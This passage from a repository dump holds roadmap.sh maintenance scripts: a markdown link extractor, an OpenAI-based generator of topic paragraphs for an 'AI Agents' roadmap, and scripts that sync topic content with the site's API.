    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst roadmapId = process.argv[2];\nif (!roadmapId) {\n  console.error('Error: roadmapId is required');\n}\n\nconst fullPath = path.join(__dirname, `../src/data/roadmaps/${roadmapId}`);\nif (!fs.existsSync(fullPath)) {\n  console.error(`Error: path not found: ${fullPath}!`);\n  process.exit(1);\n}\n\nfunction readFiles(folderPath) {\n  const stats = fs.lstatSync(folderPath);\n\n  if (stats.isFile()) {\n    return [folderPath];\n  }\n\n  const folderContent = fs.readdirSync(folderPath);\n  let files = [];\n\n  for (const file of folderContent) {\n    const filePath = path.join(folderPath, file);\n\n    files = [...files, ...readFiles(filePath)];\n  }\n\n  return files;\n}\n\nconst files = readFiles(fullPath);\nlet allLinks = [];\n\nfiles.forEach((file) => {\n  const fileContent = fs.readFileSync(file, 'utf-8');\n  const matches = [...fileContent.matchAll(/\\[[^\\]]+]\\((https?:\\/\\/[^)]+)\\)/g)];\n\n  allLinks = [...allLinks, ...matches.map((match) => match[1])];\n});\n\nallLinks.map((link) => console.log(link));\n"
  },
  {
    "path": "scripts/roadmap-tree-content.js",
    "content": "import OpenAI from 'openai';\nimport path from 'path';\nimport fs from 'fs';\nimport { fileURLToPath } from 'url';\nimport { dirname } from 'path';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\n/**\n * @typedef {Object} Node\n * @property {string} id - The unique identifier for the node\n * @property {string} text - The text content of the node\n */\n\nconst roadmapId = 'ai-agents';\n\n/** @type {Node[]} */\nconst nodes = [\n  {\n    id: 'ZF5_5Y5zqa75Ov22JACX6',\n    text: 'AI Agents > Transformer Models and LLMs',\n  },\n  {\n    id: 'GAjuWyJl9CI1nqXBp6XCf',\n    text: 'AI Agents > LLM Fundamentals > Model Mechanis > Tokenization',\n  },\n  {\n    id: 'dyn1LSioema-Bf9lLTgUZ',\n    text: 'AI Agents > LLM Fundamentals > Model Mechanis > Context Windows',\n  },\n  {\n    id: '1fiWPBV99E2YncqdCgUw2',\n    text: 'AI Agents > LLM Fundamentals > Model Mechanis > Token Based Pricing',\n  },\n  {\n    id: 'L1zL1GzqjSAjF06pIIXhy',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Temperature',\n  },\n  {\n    id: 'icbp1NjurQfdM0dHnz6v2',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Top-p',\n  },\n  {\n    id: 'z_N-Y0zGkv8_qHPuVtimL',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Frequency Penalty',\n  },\n  {\n    id: 'Vd8ycw8pW-ZKvg5WYFtoh',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Presence Penalty',\n  },\n  {\n    id: 'K0G-Lw069jXUJwZqHtybd',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Stopping Criteria',\n  },\n  {\n    id: 'Bn_BkthrVX_vOuwQzvPZa',\n    text: 'AI Agents > LLM Fundamentals > Generation Controls > Max Length',\n  },\n  {\n    id: 'DSJAhQhc1dQmBHQ8ZkTau',\n    text: 'AI Agents > Model Families and Licences > Open Weight Models',\n  },\n  {\n    id: 'tJYmEDDwK0LtEux-kwp9B',\n    text: 'AI Agents > Model Families and Licences > Closed Weight Models',\n  },\n  {\n    id: 'i2NE6haX9-7mdoV5LQ3Ah',\n    text: 'AI Agents > Understand the Basics > Streamed vs Unstreamed Responses',\n  },\n  {\n    id: 'N3yZfUxphxjiupqGpyaS9',\n    text: 'AI Agents > Understand the Basics > Reasoning vs Standard Models',\n  },\n  {\n    id: '5OW_6o286mj470ElFyJ_5',\n    text: 'AI Agents > Understand the Basics > Fine-tuning vs Prompt Engineering',\n  },\n  {\n    id: 'UIm54UmICKgep6s8Itcyv',\n    text: 'AI Agents > Understand the Basics > Embeddings and Vector Search',\n  },\n  {\n    id: 'qwVQOwBTLA2yUgRISzC8k',\n    text: 'AI Agents > Understand the Basics > Understand the Basics of RAG',\n  },\n  {\n    id: 'B8dzg61TGaknuruBgkEJd',\n    text: 'AI Agents > Understand the Basics > Pricing of Common Models',\n  },\n  {\n    id: 'aFZAm44nP5NefX_9TpT0A',\n    text: 'AI Agents > AI Agents 101 > What are AI Agents?',\n  },\n  {\n    id: '2zsOUWJQ8e7wnoHmq1icG',\n    text: 'AI Agents > AI Agents 101 > What are Tools?',\n  },\n  {\n    id: 'Eih4eybuYB3C2So8K0AT3',\n    text: 'AI Agents > AI Agents 101 > Agent Loop',\n  },\n  {\n    id: 'LU76AhCYDjxdBhpMQ4eMU',\n    text: 'AI Agents > AI Agents 101 > Agent Loop > Perception / User Input',\n  },\n  {\n    id: 'ycPRgRYR4lEBQr_xxHKnM',\n    text: 'AI Agents > AI Agents 101 > Agent Loop > Reason and Plan',\n  },\n  {\n    id: 'sHYd4KsKlmw5Im3nQ19W8',\n    text: 'AI Agents > AI Agents 101 > Agent Loop > Acting / Tool Invocation',\n  },\n  {\n    id: 'ZJTrun3jK3zBGOTm1jdMI',\n    text: 'AI Agents > AI Agents 101 > Agent Loop > Observation & Reflection',\n  },\n  {\n    id: 'PPdAutqJF5G60Eg9lYBND',\n    text: 'AI Agents > AI Agents 101 > Example Usecases > Personal assistant',\n  },\n  {\n    id: 'PK8w31GlvtmAuU92sHaqr',\n    text: 'AI Agents > AI Agents 101 > Example Usecases > Code generation',\n  },\n  {\n    id: 'wKYEaPWNsR30TIpHaxSsq',\n    text: 'AI Agents > AI Agents 101 > Example Usecases > Data analysis',\n  },\n  {\n    id: '5oLc-235bvKhApxzYFkEc',\n    text: 'AI Agents > AI Agents 101 > Example Usecases > Web Scraping / Crawling',\n  },\n  {\n    id: 'ok8vN7VtCgyef5x6aoQaL',\n    text: 'AI Agents > AI Agents 101 > Example Usecases > NPC / Game AI',\n  },\n  {\n    id: 'Y8EqzFx3qxtrSh7bWbbV8',\n    text: 'AI Agents > Prompt Engineering > What is Prompt Engineering',\n  },\n  {\n    id: 'qFKFM2qNPEN7EoD0V-1SM',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Be specific in what you want',\n  },\n  {\n    id: '6I42CoeWX-kkFXTKAY7rw',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Provide additional context',\n  },\n  {\n    id: 'sUwdtOX550tSdceaeFPmF',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Use relevant technical terms',\n  },\n  {\n    id: 'yulzE4ZNLhXOgHhG7BtZQ',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Use Examples in your Prompt',\n  },\n  {\n    id: 'noTuUFnHSBzn7GKG9UZEi',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Iterate and Test your Prompts',\n  },\n  {\n    id: 'wwHHlEoPAx0TLxbtY6nMA',\n    text: 'AI Agents > Prompt Engineering > Writing Good Prompts > Specify Length, format etc',\n  },\n  {\n    id: 'qakbxB8xe7Y8gejC5cZnK',\n    text: 'AI Agents > AI Agents 101 > Tools / Actions > Tool Definition',\n  },\n  {\n    id: 'kBtqT8AduLoYDWopj-V9_',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > Web Search',\n  },\n  {\n    id: 'mS0EVCkWuPN_GkVPng4A2',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > Code Execution / REPL',\n  },\n  {\n    id: 'sV1BnA2-qBnXoKpUn-8Ub',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > Database Queries',\n  },\n  {\n    id: '52qxjZILV-X1isup6dazC',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > API Requests > Tools / Actions > Examples of Tools > API Requests',\n  },\n  {\n    id: 'qaNr5I-NQPnfrRH7ynGTl',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > Email / Slack / SMS',\n  },\n  {\n    id: 'BoJqZvdGam4cd6G6yK2IV',\n    text: 'AI Agents > Tools / Actions > Examples of Tools > File System Access',\n  },\n  {\n    id: '1B0IqRNYdtbHDi1jHSXuI',\n    text: 'AI Agents > Model Context Protocol (MCP)',\n  },\n  {\n    id: '9FryAIrWRHh8YlzKX3et5',\n    text: 'AI Agents > Model Context Protocol (MCP) > Core Components > MCP Hosts',\n  },\n  {\n    id: 'CGVstUxVXLJcYZrwk3iNQ',\n    text: 'AI Agents > Model Context Protocol (MCP) > Core Components > MCP Client',\n  },\n  {\n    id: 'yv_-87FVM7WKn5iv6LW9q',\n    text: 'AI Agents > Model Context Protocol (MCP) > Core Components > MCP Servers',\n  },\n  {\n    id: '1NXIN-Hbjl5rPy_mqxQYW',\n    text: 'AI Agents > Model Context Protocol (MCP) > Creating MCP Servers',\n  },\n  {\n    id: 'iBtJp24F_kJE3YlBsW60s',\n    text: 'AI Agents > Model Context Protocol (MCP) > Creating MCP Servers > Deployment Modes > Local Desktop',\n  },\n  {\n    id: 'dHNMX3_t1KSDdAWqgdJXv',\n    text: 'AI Agents > Model Context Protocol (MCP) > Creating MCP Servers > Deployment Modes > Remote / Cloud',\n  },\n  {\n    id: 'TBH_DZTAfR8Daoh-njNFC',\n    text: 'AI Agents > Agent Memory > What is Agent Memory?',\n  },\n  {\n    id: 'M3U6RfIqaiut2nuOibY8W',\n    text: 'AI Agents > Agent Memory > Short Term  Memory',\n  },\n  {\n    id: 'Ue633fz6Xu2wa2-KOAtdP',\n    text: 'AI Agents > Agent Memory > What is Agent Memory? > Long Term Memory',\n  },\n  {\n    id: 'EfCCNqLMJpWKKtamUa5gK',\n    text: 'AI Agents > Agent Memory > What is Agent Memory? > Episodic vs Semantic Memory',\n  },\n  {\n    id: 'wkS4yOJ3JdZQE_yBID8K7',\n    text: 'AI Agents > Agent Memory > What is Agent Memory? > Maintaining Memory > RAG and Vector Databases',\n  },\n  {\n    id: 'QJqXHV8VHPTnfYfmKPzW7',\n    text: 'AI Agents > Agent Memory > What is Agent Memory? > Maintaining Memory > User Profile Storage',\n  },\n  {\n    id: 'jTDC19BTWCqxqMizrIJHr',\n    text: 'AI Agents > Agent Memory > Maintaining Memory > Summarization / Compression',\n  },\n  {\n    id: 'm-97m7SI0XpBnhEE8-_1S',\n    text: 'AI Agents > Agent Memory > Maintaining Memory > Forgetting / Aging Strategies',\n  },\n  {\n    id: 'cW8O4vLLKEG-Q0dE8E5Zp',\n    text: 'AI Agents > Agent Architectures > Common Architectures > RAG Agent',\n  },\n  {\n    id: '53xDks6JQ33fHMa3XcuCd',\n    text: 'AI Agents > Agent Architectures > Common Architectures > ReAct (Reason + Act)',\n  },\n  {\n    id: 'qwdh5pkBbrF8LKPxbZp4F',\n    text: 'AI Agents > Agent Architectures > Common Architectures > Chain of Thought (CoT)',\n  },\n  {\n    id: '6YLCMWzystao6byCYCTPO',\n    text: 'AI Agents > Agent Architectures > Common Architectures > Planner Executor',\n  },\n  {\n    id: 'Ep8RoZSy_Iq_zWXlGQLZo',\n    text: 'AI Agents > Agent Architectures > Common Architectures > DAG Agents',\n  },\n  {\n    id: 'Nmy1PoB32DcWZnPM8l8jT',\n    text: 'AI Agents > Agent Architectures > Common Architectures > Tree-of-Thought',\n  },\n  {\n    id: 'hj1adjkG9nalXKZ-Youn0',\n    text: 'AI Agents > Agent Architectures > Common Architectures > Tree-of-Thought',\n  },\n  {\n    id: 'US6T5dXM8IY9V2qZnTOFW',\n    text: 'AI Agents > Building Agents > Manual (from scratch)',\n  },\n  {\n    id: 'aafZxtjxiwzJH1lwHBODi',\n    text: 'AI Agents > Building Agents > LLM Native \"Function Calling\"',\n  },\n  {\n    id: 'AQtxTTxmBpfl8BMgJbGzc',\n    text: 'AI Agents > Building Agents > LLM Native \"Function Calling\" > OpenAI Functions Calling',\n  },\n  {\n    id: '37GBFVZ2J2d5r8bd1ViHq',\n    text: 'AI Agents > Building Agents > LLM Native \"Function Calling\" > OpenAI Assistant API',\n  },\n  {\n    id: '_iIsBJTVS6OBf_dsdmbVO',\n    text: 'AI Agents > Building Agents > LLM Native \"Function Calling\" > Gemini Function Calling',\n  },\n  {\n    id: '1EZFbDHA5J5_5BPMLMxXb',\n    text: 'AI Agents > Building Agents > LLM Native \"Function Calling\" > Anthropic Tool Use',\n  },\n  {\n    id: 'Ka6VpCEnqABvwiF9vba7t',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > Langchain',\n  },\n  {\n    id: 'iEHF-Jm3ck-Iu85EbCoDi',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > LlamaIndex',\n  },\n  {\n    id: 'XS-FsvtrXGZ8DPrwOsnlI',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > Haystack',\n  },\n  {\n    id: '7YtnQ9-KIvGPSpDzEDexl',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > AutoGen',\n  },\n  {\n    id: 'uFPJqgU4qGvZyxTv-osZA',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > CrewAI',\n  },\n  {\n    id: 'eWxQiBrxIUG2JNcrdfIHS',\n    text: 'AI Agents > Building Agents > Building Using Frameworks > Smol Depot',\n  },\n  {\n    id: 'v8qLnyFRnEumodBYxQSXQ',\n    text: 'AI Agents > Building Agents > Evaluation and Testing > Metrics to Track',\n  },\n  {\n    id: 'qo_O4YAe4-MTP_ZJoXJHR',\n    text: 'AI Agents > Evaluation and Testing > Unit Testing for Individual Tools',\n  },\n  {\n    id: 'P9-SiIda3TSjHsfkI5OUV',\n    text: 'AI Agents > Evaluation and Testing > Integration Testing for Flows',\n  },\n  {\n    id: 'rHxdxN97ZcU7MPl8L1jzN',\n    text: 'AI Agents > Evaluation and Testing > Human in the Loop Evaluation',\n  },\n  {\n    id: 'xp7TCTRE9HP60_rGzTUF6',\n    text: 'AI Agents > Evaluation and Testing > Frameworks > LangSmith',\n  },\n  {\n    id: '0924QUH1wV7Mp-Xu0FAhF',\n    text: 'AI Agents > Evaluation and Testing > Frameworks > DeepEval',\n  },\n  {\n    id: 'YzEDtGEaMaMWVt0W03HRt',\n    text: 'AI Agents > Evaluation and Testing > Frameworks > Ragas',\n  },\n  {\n    id: 'zs6LM8WEnb0ERWpiaQCgc',\n    text: 'AI Agents > Debugging and Monitoring > Structured logging & tracing',\n  },\n  {\n    id: 'zs6LM8WEnb0ERWpiaQCgc',\n    text: 'AI Agents > Debugging and Monitoring > Structured logging & tracing',\n  },\n  {\n    id: 'SS8mGqf9wfrNqenIWvN8Z',\n    text: 'AI Agents > Observability Tools > LangSmith',\n  },\n  {\n    id: 'MLxP5N0Vrmwh-kyvNeGXn',\n    text: 'AI Agents > Observability Tools > Helicone',\n  },\n  {\n    id: 'UoIheaJlShiceafrWALEH',\n    text: 'AI Agents > Observability Tools > LangFuse',\n  },\n  {\n    id: '7UqPXUzqKYXklnB3x-tsv',\n    text: 'AI Agents > Observability Tools > openllmetry',\n  },\n  {\n    id: 'SU2RuicMUo8tiAsQtDI1k',\n    text: 'AI Agents > Security & Ethics > Prompt Injection / Jailbreaks',\n  },\n  {\n    id: 'UVzLGXG6K7HQVHmw8ZAv2',\n    text: 'AI Agents > Security & Ethics > Tool sandboxing / Permissioning',\n  },\n  {\n    id: 'rdlYBJNNyZUshzsJawME4',\n    text: 'AI Agents > Security & Ethics > Data Privacy + PII Redaction',\n  },\n  {\n    id: 'EyLo2j8IQsIK91SKaXkmK',\n    text: 'AI Agents > Security & Ethics > Bias & Toxicity Guardrails',\n  },\n  {\n    id: '63nsfJFO1BwjLX_ZVaPFC',\n    text: 'AI Agents > Security & Ethics > Safety + Red Team Testing',\n  },\n];\n\nconst OPENAI_API_KEY = process.env.OPENAI_API_KEY;\n\nif (!OPENAI_API_KEY) {\n  console.error('OPENAI_API_KEY is not set');\n  process.exit(1);\n}\n\nconst openai = new OpenAI({\n  apiKey: OPENAI_API_KEY,\n});\n\nconst prompt = `\n  You are a helpful assistant that can help me generate content for a roadmap tree.\n  You will be given a roadmap topic in the form of \"Parent > Child > Leaf\". You need\n  to generate a single paragraph explaining the topic.\n  Also, I hate it when you say \"In the realm of...\" \n  or \"In the context of...\" or \"..in the context of...\" or \"when we talk about...\" or something\n  similar.\n  IMPORTANT: Use simple and clear English. Avoid complex words and jargon when possible.\n  Write in a way that is easy to understand. Use short sentences and common words.\n`;\n\n/**\n * Generates content for a given node using OpenAI's GPT model\n * @param {Node} node - The node to generate content for\n * @returns {Promise<string>} The generated content\n */\nconst generateContent = async (node) => {\n  try {\n    const content = await openai.chat.completions.create({\n      model: 'o3',\n      messages: [\n        { role: 'system', content: prompt },\n        {\n          role: 'user',\n          content: `Node: ${node.text}`,\n        },\n      ],\n    });\n\n    return content.choices[0].message.content;\n  } catch (error) {\n    console.error(\n      `Error generating content for node ${node.id}:`,\n      error.message,\n    );\n    throw error;\n  }\n};\n\nconst roadmapContentDir = path.join(\n  __dirname,\n  `../src/data/roadmaps/${roadmapId}/content`,\n);\nconst contentFiles = fs.readdirSync(roadmapContentDir);\n\n/**\n * Processes a single node by generating content and writing to file\n * @param {Node} node - The node to process\n * @param {string} roadmapContentDir - Directory path for content files\n * @param {string[]} contentFiles - List of existing content files\n * @returns {Promise<void>}\n */\nconst processNode = async (node, roadmapContentDir, contentFiles) => {\n  try {\n    const nodeId = node.id;\n    const relevantFileName = contentFiles.find((file) =>\n      file.endsWith(`${nodeId}.md`),\n    );\n\n    if (!relevantFileName) {\n      console.warn(`No matching file found for node ${nodeId}`);\n      return;\n    }\n\n    const fileTitle = node.text\n      .replace(/\\s+>\\s+/g, '>')\n      .split('>')\n      .pop();\n\n    const content = await generateContent(node);\n    const filePath = path.join(roadmapContentDir, relevantFileName);\n\n    await fs.promises.writeFile(filePath, `# ${fileTitle}\\n\\n${content}`);\n    console.log(`Successfully processed node ${nodeId}`);\n  } catch (error) {\n    console.error(`Failed to process node ${node.id}:`, error.message);\n  }\n};\n\n/**\n * Main function to run the content generation\n * @returns {Promise<void>}\n */\nconst main = async () => {\n  try {\n    // Process nodes in parallel with concurrency limit\n    const BATCH_SIZE = 20; // Adjust based on API rate limits\n\n    for (let i = 0; i < nodes.length; i += BATCH_SIZE) {\n      const batch = nodes.slice(i, i + BATCH_SIZE);\n      const promises = batch.map((node) =>\n        processNode(node, roadmapContentDir, contentFiles),\n      );\n\n      await Promise.allSettled(promises);\n\n      // Add a small delay between batches to avoid rate limiting\n      if (i + BATCH_SIZE < nodes.length) {\n        await new Promise((resolve) => setTimeout(resolve, 1000));\n      }\n    }\n\n    console.log('Content generation completed');\n  } catch (error) {\n    console.error('Fatal error in main process:', error);\n    process.exit(1);\n  }\n};\n\n// Add error handling for uncaught exceptions\nprocess.on('uncaughtException', (error) => {\n  console.error('Uncaught Exception:', error);\n  process.exit(1);\n});\n\nprocess.on('unhandledRejection', (error) => {\n  console.error('Unhandled Rejection:', error);\n  process.exit(1);\n});\n\nmain();\n"
  },
  {
    "path": "scripts/sync-content-to-repo.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { slugify } from '../src/lib/slugger';\nimport type { OfficialRoadmapDocument } from '../src/queries/official-roadmap';\nimport type { OfficialRoadmapTopicContentDocument } from '../src/queries/official-roadmap-topic';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst args = process.argv.slice(2);\nconst roadmapSlug = args?.[0]?.replace('--roadmap-slug=', '');\nconst secret = args?.[1]?.replace('--secret=', '');\nif (!secret) {\n  throw new Error('Secret is required');\n}\n\nif (!roadmapSlug || roadmapSlug === '__default__') {\n  throw new Error('Roadmap slug is required');\n}\n\nconsole.log(`🚀 Starting ${roadmapSlug}`);\n\nexport async function roadmapTopics(\n  roadmapId: string,\n  secret: string,\n): Promise<OfficialRoadmapTopicContentDocument[]> {\n  const path = `https://roadmap.sh/api/v1-list-official-roadmap-topics/${roadmapId}?secret=${secret}`;\n  const response = await fetch(path);\n  if (!response.ok) {\n    throw new Error(`Failed to fetch roadmap topics: ${response.statusText}`);\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(`Failed to fetch roadmap topics: ${data.error}`);\n  }\n\n  return data;\n}\n\nexport async function fetchRoadmapJson(\n  roadmapId: string,\n): Promise<OfficialRoadmapDocument> {\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`,\n  );\n\n  if (!response.ok) {\n    throw new Error(`Failed to fetch roadmap json: ${response.statusText}`);\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(`Failed to fetch roadmap json: ${data.error}`);\n  }\n\n  return data;\n}\n\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(\n  __dirname,\n  '../src/data/roadmaps',\n  roadmapSlug,\n);\n\nconst allTopics = await roadmapTopics(roadmapSlug, secret);\nconst roadmap = await fetchRoadmapJson(roadmapSlug);\nconst { nodes } = roadmap;\n\nfor (const topic of allTopics) {\n  const { nodeId } = topic;\n\n  const node = nodes.find((node) => node.id === nodeId);\n  if (!node) {\n    console.error(`Node not found: ${nodeId}`);\n    continue;\n  }\n\n  const label = node?.data?.label as string;\n  if (!label) {\n    console.error(`Label not found: ${nodeId}`);\n    continue;\n  }\n\n  const topicSlug = `${slugify(label)}@${nodeId}.md`;\n\n  const topicPath = path.join(ROADMAP_CONTENT_DIR, 'content', topicSlug);\n  const topicDir = path.dirname(topicPath);\n  const topicDirExists = await fs\n    .stat(topicDir)\n    .then(() => true)\n    .catch(() => false);\n  if (!topicDirExists) {\n    await fs.mkdir(topicDir, { recursive: true });\n  }\n\n  const topicContent = prepareTopicContent(topic);\n  await fs.writeFile(topicPath, topicContent);\n  console.log(`✅ Synced ${topicSlug}`);\n}\n\nfunction prepareTopicContent(topic: OfficialRoadmapTopicContentDocument) {\n  const { description, resources = [] } = topic;\n\n  let content = description;\n  if (resources.length > 0) {\n    content += `\\n\\nVisit the following resources to learn more:\\n\\n${resources.map((resource) => `- [@${resource.type}@${resource.title}](${resource.url})`).join('\\n')}`;\n  }\n\n  return content;\n}\n"
  },
  {
    "path": "scripts/sync-repo-to-database.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { OfficialRoadmapDocument } from '../src/queries/official-roadmap';\nimport { parse } from 'node-html-parser';\nimport { markdownToHtml } from '../src/lib/markdown';\nimport { htmlToMarkdown } from '../src/lib/html';\nimport {\n  allowedOfficialRoadmapTopicResourceType,\n  type AllowedOfficialRoadmapTopicResourceType,\n  type SyncToDatabaseTopicContent,\n} from '../src/queries/official-roadmap-topic';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst args = process.argv.slice(2);\nconst allFiles = args\n  .find((arg) => arg.startsWith('--files='))\n  ?.replace('--files=', '');\nconst secret = args\n  .find((arg) => arg.startsWith('--secret='))\n  ?.replace('--secret=', '');\n\nif (!secret) {\n  throw new Error('Secret is required');\n}\n\nlet roadmapJsonCache: Map<string, OfficialRoadmapDocument> = new Map();\nexport async function fetchRoadmapJson(\n  roadmapId: string,\n): Promise<OfficialRoadmapDocument> {\n  if (roadmapJsonCache.has(roadmapId)) {\n    return roadmapJsonCache.get(roadmapId)!;\n  }\n\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`,\n    {\n      headers: {\n        'User-Agent': 'Mozilla/5.0 (compatible; roadmap-sync/1.0)',\n      },\n    },\n  );\n\n  if (!response.ok) {\n    throw new Error(\n      `Failed to fetch roadmap json: ${response.statusText} for ${roadmapId}`,\n    );\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(\n      `Failed to fetch roadmap json: ${data.error} for ${roadmapId}`,\n    );\n  }\n\n  roadmapJsonCache.set(roadmapId, data);\n  return data;\n}\n\nexport async function syncContentToDatabase(\n  topics: SyncToDatabaseTopicContent[],\n) {\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-sync-official-roadmap-topics`,\n    {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/json',\n        'User-Agent': 'Mozilla/5.0 (compatible; roadmap-sync/1.0)',\n      },\n      body: JSON.stringify({\n        topics,\n        secret,\n      }),\n    },\n  );\n\n  const responseText = await response.text();\n\n  if (!response.ok) {\n    throw new Error(\n      `Failed to sync content to database: ${response.status} ${response.statusText}\\n${responseText}`,\n    );\n  }\n\n  try {\n    return JSON.parse(responseText);\n  } catch {\n    throw new Error(\n      `Failed to parse response as JSON: ${responseText.substring(0, 500)}`,\n    );\n  }\n}\n\nconst files =\n  allFiles\n    ?.split(',')\n    .map((file) => file.trim())\n    .filter(Boolean) || [];\nif (files.length === 0) {\n  console.log('No files to sync');\n  process.exit(0);\n}\n\nconsole.log(`🚀 Starting ${files.length} files`);\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\n\ntry {\n  const topics: SyncToDatabaseTopicContent[] = [];\n\n  for (const file of files) {\n    const isContentFile = file.endsWith('.md') && file.includes('content/');\n    if (!isContentFile) {\n      console.log(`🚨 Skipping ${file} because it is not a content file`);\n      continue;\n    }\n\n    const pathParts = file.replace('src/data/roadmaps/', '').split('/');\n    const roadmapSlug = pathParts?.[0];\n    if (!roadmapSlug) {\n      console.error(`🚨 Roadmap slug is required: ${file}`);\n      continue;\n    }\n\n    const nodeSlug = pathParts?.[2]?.replace('.md', '');\n    if (!nodeSlug) {\n      console.error(`🚨 Node id is required: ${file}`);\n      continue;\n    }\n\n    const nodeId = nodeSlug.split('@')?.[1];\n    if (!nodeId) {\n      console.error(`🚨 Node id is required: ${file}`);\n      continue;\n    }\n\n    const roadmap = await fetchRoadmapJson(roadmapSlug);\n    const node = roadmap.nodes.find((node) => node.id === nodeId);\n    if (!node) {\n      console.error(`🚨 Node not found: ${file}`);\n      continue;\n    }\n\n    const filePath = path.join(\n      ROADMAP_CONTENT_DIR,\n      roadmapSlug,\n      'content',\n      `${nodeSlug}.md`,\n    );\n\n    const fileExists = await fs\n      .stat(filePath)\n      .then(() => true)\n      .catch(() => false);\n    if (!fileExists) {\n      console.log(`🚨 File not found: ${filePath}`);\n      continue;\n    }\n\n    const content = await fs.readFile(filePath, 'utf8');\n    const html = markdownToHtml(content, false);\n    const rootHtml = parse(html);\n\n    let ulWithLinks: HTMLElement | undefined;\n    rootHtml.querySelectorAll('ul').forEach((ul) => {\n      const listWithJustLinks = Array.from(ul.querySelectorAll('li')).filter(\n        (li) => {\n          const link = li.querySelector('a');\n          return link && link.textContent?.trim() === li.textContent?.trim();\n        },\n      );\n\n      if (listWithJustLinks.length > 0) {\n        // @ts-expect-error - TODO: fix this\n        ulWithLinks = ul;\n      }\n    });\n\n    const listLinks: SyncToDatabaseTopicContent['resources'] =\n      ulWithLinks !== undefined\n        ? Array.from(ulWithLinks.querySelectorAll('li > a'))\n            .map((link) => {\n              const typePattern = /@([a-z.]+)@/;\n              let linkText = link.textContent || '';\n              const linkHref = link.getAttribute('href') || '';\n              let linkType = linkText.match(typePattern)?.[1] || 'article';\n              linkType = allowedOfficialRoadmapTopicResourceType.includes(\n                linkType as any,\n              )\n                ? linkType\n                : 'article';\n\n              linkText = linkText.replace(typePattern, '');\n\n              return {\n                title: linkText,\n                url: linkHref,\n                type: linkType as AllowedOfficialRoadmapTopicResourceType,\n              };\n            })\n            .sort((a, b) => {\n              const order = [\n                'official',\n                'opensource',\n                'article',\n                'video',\n                'feed',\n              ];\n              return order.indexOf(a.type) - order.indexOf(b.type);\n            })\n        : [];\n\n    const title = rootHtml.querySelector('h1');\n    ulWithLinks?.remove();\n    title?.remove();\n\n    const allParagraphs = rootHtml.querySelectorAll('p');\n    if (listLinks.length > 0 && allParagraphs.length > 0) {\n      // to remove the view more see more from the description\n      const lastParagraph = allParagraphs[allParagraphs.length - 1];\n      lastParagraph?.remove();\n    }\n\n    const htmlStringWithoutLinks = rootHtml.toString();\n    const description = htmlToMarkdown(htmlStringWithoutLinks);\n\n    const updatedDescription =\n      `# ${title?.textContent}\\n\\n${description}`.trim();\n\n    const label = node?.data?.label as string;\n    if (!label) {\n      console.error(`🚨 Label is required: ${file}`);\n      continue;\n    }\n\n    topics.push({\n      roadmapSlug,\n      nodeId,\n      description: updatedDescription,\n      resources: listLinks,\n    });\n  }\n\n  console.log(`📤 Syncing ${topics.length} topics to database...`);\n  await syncContentToDatabase(topics);\n  console.log(`✅ Successfully synced ${topics.length} topics`);\n} catch (error) {\n  console.error('❌ Sync failed with error:');\n  console.error(error);\n  if (error instanceof Error) {\n    console.error('\\nError message:', error.message);\n    console.error('\\nStack trace:', error.stack);\n  }\n  process.exit(1);\n}\n"
  },
  {
    "path": "scripts/sync-roadmap-to-database.ts",
    "content": "import { execSync } from 'node:child_process';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst args = process.argv.slice(2);\nconst roadmapSlug = args\n  .find((arg) => arg.startsWith('--roadmap='))\n  ?.replace('--roadmap=', '');\nconst secret = args\n  .find((arg) => arg.startsWith('--secret='))\n  ?.replace('--secret=', '');\n\nif (!roadmapSlug) {\n  console.error('❌ Roadmap slug is required. Use --roadmap=<slug>');\n  console.error('   Example: npm run sync:roadmap -- --roadmap=frontend --secret=<secret>');\n  process.exit(1);\n}\n\nif (!secret) {\n  console.error('❌ Secret is required. Use --secret=<secret>');\n  console.error('   Example: npm run sync:roadmap -- --roadmap=frontend --secret=<secret>');\n  process.exit(1);\n}\n\nconst roadmapDir = path.join(__dirname, '../src/data/roadmaps', roadmapSlug);\n\nif (!fs.existsSync(roadmapDir)) {\n  console.error(`❌ Roadmap directory not found: ${roadmapDir}`);\n  process.exit(1);\n}\n\nconsole.log(`🔍 Finding all content files in: ${roadmapDir}`);\n\nfunction getAllFiles(dir: 